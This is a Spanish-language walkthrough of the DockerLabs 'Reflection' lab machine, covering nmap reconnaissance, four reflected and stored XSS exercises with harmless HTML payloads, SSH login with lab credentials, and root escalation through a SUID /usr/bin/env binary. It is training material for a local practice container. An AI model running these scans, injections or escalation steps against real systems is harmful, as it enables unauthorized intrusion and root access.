> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/reflection.md).

# Reflection

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Reflection** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Descomprimimos el archivo `.zip` utilizando `7z`:

```bash
7z x reflection.zip
```

<figure><img src="/files/c03Q1nJFXdNNytWR0Dx1" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh reflection.tar
```

<figure><img src="/files/BMHRHXi0lLrgfz0yzHug" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/6kBFdql4fDr4bbbI7v1A" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/GNgFAnLCsIHkTiSPT7Cs" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Servicios detectados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache 2.4.62 – Página de laboratorio XSS.

<figure><img src="/files/sYBrqVRc4vLlYKo0wvzQ" alt=""><figcaption></figcaption></figure>

**Enumeración Web:**

Accedemos a `http://172.17.0.2` desde el navegador y encontramos una web con varios laboratorios de XSS.

<figure><img src="/files/NuIvcI4VssJj2Z2urhpA" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**Laboratorio 1 (XSS Reflejado):**

Este laboratorio refleja directamente la entrada proporcionada por el usuario en la misma página.

Probamos con el siguiente payload:

```html
<h1>1</h1>
```

**Resultado:** El código HTML se interpreta correctamente, mostrando el texto `1` como encabezado.

<figure><img src="/files/4hQS5Ul3Ftz3BVJgnp2J" alt=""><figcaption></figcaption></figure>

**Laboratorio 2 (XSS Almacenado):**

Este nivel permite almacenar el payload en el servidor.

Ejecutamos el siguiente payload:

```html
<h1 style="color:red;">1</h1>
```

**Resultado:** El código se almacena en el servidor y se muestra con el estilo aplicado (texto en color rojo).

<figure><img src="/files/NVrRCPXc09zAZ3cTRLmJ" alt=""><figcaption></figcaption></figure>

**Laboratorio 3 (XSS con Dropdowns):**

Seleccionamos valores en los menús desplegables y activamos el proxy de BurpSuite para interceptar la solicitud.

<figure><img src="/files/Cx7xreYNbldcv8wo6DWz" alt=""><figcaption></figcaption></figure>

Esta es la línea que debemos modificar para explotar esta vulnerabilidad:

```
GET /laboratorio3/?opcion1=ValorA&opcion2=ValorX&opcion3=Opcion1
```

<figure><img src="/files/bD5KMgdVmXMSoYSz70qk" alt=""><figcaption></figcaption></figure>

Realizamos los siguientes cambios:

```
GET /laboratorio3/?opcion1=<p>Prueba_1</p>&opcion2=<p>Prueba_2</p>&opcion3=<p>Prueba_3</p>
```

<figure><img src="/files/UfSygihCobvO9K8AJFiE" alt=""><figcaption></figcaption></figure>

**Resultado:** El código que hemos introducido en la solicitud se interpreta correctamente en la respuesta.

<figure><img src="/files/KtMKUbtEcyHEuqsMZD1Q" alt=""><figcaption></figcaption></figure>

**Laboratorio 4 (Parámetros GET):**

Este laboratorio refleja el contenido del parámetro `data` en la URL.

URL utilizada:

```
http://172.17.0.2/laboratorio4/?data=<p style="color:blue">Prueba</p>
```

**Resultado:** El código se interpreta mostrando el texto en color azul.

<figure><img src="/files/6TkQgAtlnCmgfe8RrwGK" alt=""><figcaption></figcaption></figure>

**Obtención de Credenciales:**

Al completar los cuatro laboratorios, pulsamos el botón "Clic Aquí Cuando hayas Completado los Laboratorios". Esto nos muestra una ventana con credenciales para conectarnos por SSH:

* **Usuario:** `balu`.
* **Contraseña:** `balulero`.

<figure><img src="/files/EmcJifiFBQdxb2JeSUAJ" alt=""><figcaption></figcaption></figure>

**Conexión SSH:**

Nos conectamos al sistema usando las credenciales obtenidas:

```bash
ssh balu@172.17.0.2
```

Confirmamos que tenemos acceso al sistema con el usuario `balu`.

<figure><img src="/files/CdPmYeWyquVMWhnpmAIU" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**Búsqueda de Binarios SUID:**

Buscamos binarios con el bit SUID activo:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos el binario `/usr/bin/env` con permisos SUID.

<figure><img src="/files/bLeP9haucjB1viAOyVkq" alt=""><figcaption></figcaption></figure>

**Explotación del Binario `env`:**

Utilizamos el binario `env` para obtener una shell con privilegios de `root`:

```bash
/usr/bin/env /bin/bash -p
```

**Resultado:** Obtenemos una shell como `root`, completando con éxito la escalada de privilegios.

<figure><img src="/files/k5VuAsIn8wuvrYOkqGSp" alt=""><figcaption></figcaption></figure>
